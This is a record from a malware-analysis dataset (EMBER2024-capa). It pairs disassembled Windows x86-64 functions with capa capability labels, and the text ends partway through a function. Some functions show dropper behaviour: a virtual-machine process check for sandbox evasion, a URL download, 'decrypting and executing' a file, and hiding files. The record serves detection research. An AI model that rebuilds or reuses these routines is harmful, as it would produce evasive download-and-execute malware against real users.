joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400aaa30
Capabilities:
Create process on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x198
lea rbp, [rsp + 0x1d0]
xorps xmm4, xmm4
movabs rax, 0xffffffffffffff10
movaps xmmword [rbp + rax - 0x40], xmm4
movaps xmmword [rbp + rax - 0x30], xmm4
movaps xmmword [rbp + rax - 0x20], xmm4
add rax, 0x30
jne 0x1400aaa58
mov qword [rbp - 0x40], rax
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rbx, rcx
mov r14, rdx
mov r15, r8
mov r13, r9
mov r12, qword [rbp + 0x48]
mov rsi, qword [rbp + 0x50]
mov rcx, rbx
mov edx, 1
xor r8d, r8d
call fcn.140096da0
mov qword [rbp - 0x40], rax
mov rcx, r14
mov edx, 1
xor r8d, r8d
call fcn.140096da0
mov qword [rbp - 0x48], rax
xor r10d, r10d
cmp byte [rbp + 0x30], 0
setne r10b
mov dword [rbp - 0x4c], r10d
mov rcx, r12
mov edx, 1
xor r8d, r8d
call fcn.140096da0
mov qword [rbp - 0x58], rax
lea rdi, [rbp - 0xb8]
mov qword [rbp + 0x50], rsi
mov ecx, 0xc
rep movsq qword [rdi], qword [rsi]
lea rcx, [rbp - 0xb8]
lea rdx, [rbp - 0x120]
call fcn.1400bb150
mov rdi, qword [rbp + 0x58]
mov qword [rbp - 0x128], rdi
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov ebx, dword [rbp - 0x4c]
mov dword [rsp + 0x20], ebx
mov ebx, dword [rbp + 0x38]
mov dword [rsp + 0x28], ebx
mov rbx, qword [rbp + 0x40]
mov qword [rsp + 0x30], rbx
mov rbx, qword [rbp - 0x58]
mov qword [rsp + 0x38], rbx
lea rcx, [rbp - 0x120]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rdi
mov rcx, qword [rbp - 0x40]
mov qword [rbp - 0x138], rcx
mov rdx, qword [rbp - 0x48]
mov qword [rbp - 0x140], rdx
mov r8, r15
mov qword [rbp - 0x148], r8
mov r9, r13
mov qword [rbp - 0x150], r9
lea rcx, [rbp - 0x178]
call fcn.1400022a0
mov rcx, qword [rbp - 0x138]
mov rdx, qword [rbp - 0x140]
mov r8, qword [rbp - 0x148]
mov r9, qword [rbp - 0x150]
call sub.KERNEL32.dll_CreateProcessA
mov esi, eax
lea rcx, [rbp - 0x178]
call fcn.1400022f0
call fcn.140001893
mov rdi, rax
mov qword [rbp - 0x130], rdi
call sub.KERNEL32.dll_GetLastError
mov rcx, qword [rbp - 0x130]
mov dword [rcx + 0x60], eax
xor r14d, r14d
test esi, esi
setne r14b
lea rcx, [rbp - 0x120]
lea rdx, [rbp - 0xb8]
call fcn.1400bb090
mov rdi, qword [rbp + 0x50]
lea rsi, [rbp - 0xb8]
call fcn.140002210
call fcn.140002210
call fcn.140002210
mov ecx, 9
rep movsq qword [rdi], qword [rsi]
cmp qword [rbp + 0x10], 0
je 0x1400aac1e
mov r15, qword [rbp - 0x40]
test r15, 0xffffffffffff0000
je 0x1400aac1e
mov rcx, r15
call fcn.1400a1690
cmp qword [rbp + 0x18], 0
je 0x1400aac3a
mov r13, qword [rbp - 0x48]
test r13, 0xffffffffffff0000
je 0x1400aac3a
mov rcx, r13
call fcn.1400a1690
cmp qword [rbp + 0x48], 0
je 0x1400aac52
test rbx, 0xffffffffffff0000
je 0x1400aac52
mov rcx, rbx
call fcn.1400a1690
lea rcx, [rbp - 0x120]
call fcn.1400bafd0
movzx eax, r14b
add rsp, 0x198
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x1400aaf70
Capabilities:
Query service status

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0xa0]
xor eax, eax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x48], rax
mov rbx, rcx
mov qword [rbp - 0x40], rdx
mov rsi, rdx
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov rcx, rbx
mov qword [rbp - 0x50], rcx
mov rdx, rsi
mov qword [rbp - 0x58], rdx
lea rcx, [rbp - 0x80]
call fcn.1400022a0
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x58]
call sub.ADVAPI32.dll_QueryServiceStatus
mov ebx, eax
lea rcx, [rbp - 0x80]
call fcn.1400022f0
call fcn.140001893
mov rsi, rax
mov qword [rbp - 0x48], rsi
call sub.KERNEL32.dll_GetLastError
mov rcx, qword [rbp - 0x48]
mov dword [rcx + 0x60], eax
xor eax, eax
test ebx, ebx
setne al
movzx eax, al
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x1400ab3a0
Capabilities:
Encode data using xor

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
mov esi, edx
mov edi, dword [rbx + 8]
mov edx, edi
lea rcx, [0x1400fb910]
call fcn.140001f30
xor ecx, ecx
test edi, edi
jle 0x1400ab412
cmp dword [rax + 8], edi
jl 0x1400ab3ed
movzx edx, sil
nop dword [rax]
mov r8d, ecx
movzx r10d, byte [rbx + r8 + 0x10]
xor r10d, edx
movzx r10d, r10b
mov byte [rax + r8 + 0x10], r10b
inc ecx
cmp edi, ecx
jg 0x1400ab3d0
jmp 0x1400ab412
mov edx, ecx
movzx r10d, byte [rbx + rdx + 0x10]
movzx edx, sil
xor edx, r10d
movzx r10d, dl
cmp ecx, dword [rax + 8]
jae 0x1400ab41a
mov edx, ecx
mov byte [rax + rdx + 0x10], r10b
inc ecx
cmp edi, ecx
jg 0x1400ab3ed
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.1400a0680
int3
Function at 0x140001db0
Capabilities:
Enumerate processes

Disassembly:
push rsi
push rdi
sub rsp, 0x2c8
mov rax, qword [0x14004b080]
xor rax, rsp
mov qword [rsp + 0x2b0], rax
lea rdx, str.vmware.exe
lea rcx, [rsp + 0x90]
call fcn.140006440
nop
lea rdx, str.vboxservice.exe
lea rcx, [rsp + 0xb0]
call fcn.140006440
nop
lea rdx, str.vboxtray.exe
lea rcx, [rsp + 0xd0]
call fcn.140006440
nop
lea rdx, str.vbox.exe
lea rcx, [rsp + 0xf0]
call fcn.140006440
nop
lea rdx, str.qemu.exe
lea rcx, [rsp + 0x110]
call fcn.140006440
nop
lea rdx, str.hyperv.exe
lea rcx, [rsp + 0x130]
call fcn.140006440
nop
lea rdx, str.vmmem.exe
lea rcx, [rsp + 0x150]
call fcn.140006440
nop
lea rcx, [rsp + 0x23]
call fcn.140003970
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x170]
mov r8, rcx
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x80]
call fcn.140006990
lea rcx, [rsp + 0x70]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x40]
mov r8, rax
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x58]
call fcn.140006ba0
nop
lea r9, [fcn.140007ad0]
mov r8d, 7
mov edx, 0x20
lea rcx, [rsp + 0x90]
call fcn.140012514
nop
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x140001f0a
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x58]
call fcn.140007cf0
movzx eax, byte [rsp + 0x20]
jmp 0x140001ff1
mov dword [rsp + 0x180], 0x130
lea rdx, [rsp + 0x180]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x140001fd1
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x38]
call fcn.14000c3b0
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x38]
call fcn.14000c3d0
mov qword [rsp + 0x48], rax
jmp 0x140001f67
mov rax, qword [rsp + 0x30]
add rax, 0x20
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x48]
cmp qword [rsp + 0x30], rax
je 0x140001fb7
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x1ac]
mov rcx, qword [rsp + 0x50]
call fcn.14000cb70
test eax, eax
jne 0x140001fb5
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov byte [rsp + 0x21], 1
lea rcx, [rsp + 0x58]
call fcn.140007cf0
movzx eax, byte [rsp + 0x21]
jmp 0x140001ff1
jmp 0x140001f59
lea rdx, [rsp + 0x180]
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140001f2f
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov byte [rsp + 0x22], 0
lea rcx, [rsp + 0x58]
call fcn.140007cf0
movzx eax, byte [rsp + 0x22]
mov rcx, qword [rsp + 0x2b0]
xor rcx, rsp
call fcn.1400129e0
add rsp, 0x2c8
pop rdi
pop rsi
ret
Function at 0x1400021b0
Capabilities:
Download url
Receive data

Disassembly:
mov byte [rsp + 0x18], r8b
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [0x14004b080]
xor rax, rsp
mov qword [rsp + 0x60], rax
movzx r8d, byte [rsp + 0x90]
mov rdx, qword [rsp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.1400020d0
nop
lea rdx, str.Downloading_file_to
lea rcx, [0x14004c770]
call fcn.140002d00
mov rdx, qword [rsp + 0x88]
mov rcx, rax
call fcn.140002cb0
lea rdx, [0x140005320]
mov rcx, rax
call fcn.140008510
mov rcx, qword [rsp + 0x88]
call fcn.14000c900
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x40]
call fcn.14000c900
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, qword [rsp + 0x38]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jge 0x14000229e
lea rdx, str.Failed_to_download_file._HRESULT:
lea rcx, [0x14004c890]
call fcn.140002d00
mov edx, dword [rsp + 0x30]
mov rcx, rax
call fcn.140008170
lea rdx, [0x140005320]
mov rcx, rax
call fcn.140008510
mov ecx, 1
call fcn.14001899c
nop
lea rcx, [rsp + 0x40]
call fcn.140007ad0
nop
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400129e0
add rsp, 0x78
ret
Function at 0x140002470
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x4a0
mov rax, qword [0x14004b080]
xor rax, rsp
mov qword [rsp + 0x490], rax
lea rdx, str.Decrypting_and_executing_file
lea rcx, [0x14004c770]
call fcn.140002d00
mov rdx, qword [rsp + 0x4b0]
mov rcx, rax
call fcn.140002cb0
lea rdx, [0x140005320]
mov rcx, rax
call fcn.140008510
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
mov rdx, qword [rsp + 0x4b0]
lea rcx, [rsp + 0x300]
call fcn.140005ad0
nop
mov edx, 1
lea rcx, [rsp + 0xf0]
call fcn.140006780
nop
lea rcx, [rsp + 0x300]
call fcn.14000f4b0
lea rcx, [rsp + 0x100]
mov rdx, rax
call fcn.140008530
lea rdx, [rsp + 0x450]
lea rcx, [rsp + 0xf0]
call fcn.140010340
nop
mov r8, qword [rsp + 0x4b8]
lea rdx, [rsp + 0x450]
lea rcx, [rsp + 0x430]
call fcn.140001c20
nop
lea rcx, [0x140039408]
call fcn.140018ba8
mov rdx, rax
lea rcx, [rsp + 0x470]
call fcn.140006440
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
lea r8, [0x1400393e8]
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x410]
call fcn.140003050
nop
lea rcx, [rsp + 0x470]
call fcn.140007ad0
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rdx, [rsp + 0x410]
lea rcx, [rsp + 0x1f0]
call fcn.140005ea0
nop
lea rcx, [rsp + 0x430]
call fcn.1400100f0
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x430]
call fcn.14000c900
mov rcx, qword [rsp + 0x60]
mov r8, rcx
mov rdx, rax
lea rcx, [rsp + 0x1f0]
call fcn.140010c10
mov dword [rsp + 0x80], 0x68
lea rax, [rsp + 0x88]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
lea rcx, [rsp + 0x410]
call fcn.14000c900
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rsp + 0x1f0]
call fcn.140008e70
nop
lea rcx, [rsp + 0x410]
call fcn.140007ad0
nop
lea rcx, [rsp + 0x430]
call fcn.140007ad0
nop
lea rcx, [rsp + 0x450]
call fcn.140007ad0
nop
lea rcx, [rsp + 0xf0]
call fcn.140008ef0
nop
lea rcx, [rsp + 0x300]
call fcn.140008db0
nop
mov rcx, qword [rsp + 0x490]
xor rcx, rsp
call fcn.1400129e0
add rsp, 0x4a0
pop rdi
ret

Function at 0x140002800
Capabilities:
Set file attributes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
lea rdx, str.Setting_file_attributes_to_hidden_for
lea rcx, [0x14004c770]
call fcn.140002d00
mov rdx, qword [rsp + 0x30]
mov rcx, rax
call fcn.140002cb0
lea rdx, [0x140005320]
mov rcx, rax
call fcn.140008510
mov rcx, qword [rsp + 0x30]
call fcn.14000c900
mov edx, 6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
nop
add rsp, 0x28
ret
Function at 0x140006a10
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov r9d, 0x6c078965
mov r8d, 0xffffffff
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call fcn.1400069c0
nop
mov rax, qword [rsp + 0x30]
add rsp, 0x28
ret

Function at 0x140008c70
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x270
jne 0x140008c93
mov rcx, qword [rsp + 0x40]
call fcn.14000bc10
nop
jmp 0x140008cab
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x4e0
jb 0x140008cab
mov rcx, qword [rsp + 0x40]
call fcn.14000ba10
nop
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
inc eax
mov rcx, qword [rsp + 0x40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20]
shr eax, 0xb
mov rcx, qword [rsp + 0x40]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0x12
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x14000ba10
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov qword [rsp + 0x28], 0x26f
mov qword [rsp + 0x30], 0xe3
mov qword [rsp], 0
jmp 0x14000ba40
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0xe3
jae 0x14000bac2
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x10], eax
mov eax, dword [rsp + 0x10]
and eax, 1
test eax, eax
je 0x14000ba8e
mov dword [rsp + 0x14], 0x9908b0df
jmp 0x14000ba96
mov dword [rsp + 0x14], 0
mov eax, dword [rsp + 0x10]
shr eax, 1
xor eax, dword [rsp + 0x14]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
xor eax, dword [rcx + rdx*4 + 0xff8]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x14000ba35
mov qword [rsp + 8], 0xe3
jmp 0x14000bada
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
cmp qword [rsp + 8], 0x26f
jae 0x14000bb61
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 8]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 8]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x18], eax
mov eax, dword [rsp + 0x18]
and eax, 1
test eax, eax
je 0x14000bb2b
mov dword [rsp + 0x1c], 0x9908b0df
jmp 0x14000bb33
mov dword [rsp + 0x1c], 0
mov eax, dword [rsp + 0x18]
shr eax, 1
xor eax, dword [rsp + 0x1c]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 8]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 8]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x14000bacd
mov qword [rsp + 0x38], 0x26f
mov eax, 4
imul rax, rax, 0x4df
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx + rax + 4]
and eax, 0x80000000
mov ecx, 4
imul rcx, rcx, 0
mov rdx, qword [rsp + 0x50]
mov ecx, dword [rdx + rcx + 4]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
and eax, 1
test eax, eax
je 0x14000bbb5
mov dword [rsp + 0x24], 0x9908b0df
jmp 0x14000bbbd
mov dword [rsp + 0x24], 0
mov eax, dword [rsp + 0x20]
shr eax, 1
xor eax, dword [rsp + 0x24]
mov ecx, 4
imul rcx, rcx, 0x18c
mov rdx, qword [rsp + 0x50]
xor eax, dword [rdx + rcx + 4]
mov ecx, 4
imul rcx, rcx, 0x26f
mov rdx, qword [rsp + 0x50]
mov dword [rdx + rcx + 4], eax
mov rax, qword [rsp + 0x50]
mov dword [rax], 0
add rsp, 0x48
ret
Function at 0x14000bc10
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov qword [rsp + 8], 0x270
jmp 0x14000bc31
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
cmp qword [rsp + 8], 0x4e0
jae 0x14000bcb5
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 8]
mov eax, dword [rax + rcx*4 - 0x9bc]
and eax, 0x80000000
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
mov ecx, dword [rcx + rdx*4 - 0x9b8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp]
and eax, 1
test eax, eax
je 0x14000bc80
mov dword [rsp + 4], 0x9908b0df
jmp 0x14000bc88
mov dword [rsp + 4], 0
mov eax, dword [rsp]
shr eax, 1
xor eax, dword [rsp + 4]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x14000bc24
add rsp, 0x18
ret
Function at 0x140010d00
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
cmp qword [rsp + 0x70], 0
jg 0x140010d22
xor eax, eax
jmp 0x140010ec6
mov rax, qword [rsp + 0x60]
cmp qword [rax + 0x68], 0
je 0x140010d47
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
call fcn.140010ed0
jmp 0x140010ec6
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x60]
call fcn.14000a760
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jbe 0x140010dde
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x20]
call fcn.1400054d0
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x60]
call fcn.14000e310
mov r8, qword [rsp + 0x28]
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call fcn.14000cbc0
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov edx, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x60]
call fcn.14000e220
nop
mov rax, qword [rsp + 0x60]
cmp qword [rax + 0x80], 0
je 0x140010eb6
mov rcx, qword [rsp + 0x60]
call fcn.14000bd60
mov qword [rsp + 0x48], 0xfff
cmp qword [rsp + 0x20], 0xfff
jbe 0x140010e7e
mov rax, qword [rsp + 0x60]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x68]
call fcn.140019a98
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x30], 0xfff
je 0x140010e7c
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
jmp 0x140010ec6
jmp 0x140010e04
cmp qword [rsp + 0x20], 0
jbe 0x140010eb6
mov rax, qword [rsp + 0x60]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x20]
mov edx, 1
mov rcx, qword [rsp + 0x68]
call fcn.140019a98
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
add rsp, 0x58
ret

Function at 0x140013108
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140013152
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140013152
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140013152
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140013152
cmp dword [rcx + 0x84], 0xe
jbe 0x140013152
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140013154
xor al, al
add rsp, 0x28
ret
Function at 0x140018798
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140018807
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140018807
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140018807
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140018807
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140018807
cmp dword [rcx + 0x84], 0xe
jbe 0x140018807
cmp dword [rcx + 0xf8], 0
je 0x140018807
mov ecx, ebx
call fcn.1400188b8
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140018694
nop
cmp dword [rbp + 0x20], 0
je 0x140018855
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140018860
int3
xor r8d, r8d
xor edx, edx
jmp 0x140018798

Function at 0x14001899c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140018807
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140018807
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140018807
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140018807
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140018807
cmp dword [rcx + 0x84], 0xe
jbe 0x140018807
cmp dword [rcx + 0xf8], 0
je 0x140018807
mov ecx, ebx
call fcn.1400188b8
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140018694
nop
cmp dword [rbp + 0x20], 0
je 0x140018855
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140018860
int3
xor r8d, r8d
xor edx, edx
jmp 0x140018798
Function at 0x140026434
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140012980
sub rsp, rax
mov rax, qword [0x14004b080]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140024da0
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140026483
mov rax, rbp
jmp 0x14002658b
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x4d870]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140027554
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x4d870]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140026587
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140026587
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140027554
test rax, rax
js 0x140026587
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140026587
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140026579
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140026579
cmp byte [rcx], 0xd
jne 0x14002655f
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14002656e
cmp byte [rcx + 1], 0xa
jne 0x14002656e
inc rcx
jmp 0x14002656e
